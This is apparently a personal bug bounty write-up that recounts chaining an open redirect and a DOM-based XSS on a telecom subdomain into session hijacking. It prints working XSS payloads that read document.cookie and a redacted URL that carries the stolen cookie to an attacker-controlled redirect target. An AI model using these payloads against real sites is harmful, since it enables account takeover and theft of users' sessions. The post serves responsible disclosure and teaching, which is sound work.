# My First Bug Bounty: Chaining Open Redirect and DOM XSS into Account Takeover

This was my **first ever valid bug bounty report** through a VDP, and it got marked **Medium severity**. It was also **not a duplicate**, so for me this was a huge win.

One thing I had heard a lot in bug bounty is that **open redirects on their own usually do not have much impact**. And honestly, that is often true. But the first time I really understood **bug chaining** was after reading *Bug Bounty Bootcamp* by Vickie Li. That idea stayed with me.

At the time, I was actually hunting for **SSRF** when I landed on an **open redirect** on a subdomain belonging to a large telecom company. Instead of moving on, I decided to read the JavaScript to understand how it worked. That is when I found something much better: a **DOM-Based XSS**.

Most of my payloads were blocked, but I found one that worked:

```html
<Img Src=OnXSS OnErroR=confirm(document.cookie)>
```

That confirmed JavaScript execution. From there, I started thinking beyond just XSS and asked myself: **can I turn this into real impact?**

I noticed the application attached a query parameter called `utm_source`, and that value could be updated through the DOM. That let me use this payload:

```html
<Img Src=OnXSS OnErroR=utm_source=encodeURIComponent(btoa(document.cookie))>
```

By chaining that with the open redirect, I was able to exfiltrate cookie data and reuse the victim’s session, which led to **session hijacking** and ultimately **account takeover**.

The redacted endpoint structure looked like this:

```http
https://example-sub.example.com/preview?next=<ATTACKER_CONTROLLED_URL>&bannerText=<Img Src=OnXSS OnErroR=utm_source=encodeURIComponent(btoa(document.cookie))>
```

What made this work was simple:

*   the cookies were **not** `HttpOnly`, so JavaScript could read them
    
*   the `next` and `bannerText` parameters were **not properly validated or sanitized**
    

That is what made the chain dangerous. The open redirect alone might not have been enough, but combined with DOM XSS and readable session cookies, it became a **medium-severity account takeover**

### The Moment It Got Triaged

One of the best parts of this experience was getting the triage message back and seeing that the report was marked as **triaged and medium severity**. Since this was my first valid bug bounty report and it was also **not a duplicate**, that moment meant a lot to me.

![](https://cdn.hashnode.com/uploads/covers/651297dcbcee4f7b50e3687b/1d413e81-bf2e-49d1-995c-02caf6ce3d9e.jpg align="center")

This bug taught me something I will carry into every hunt: **do not dismiss “low-impact” bugs too quickly**. Sometimes the real value is not the first bug you find, but what happens when you connect it to something else.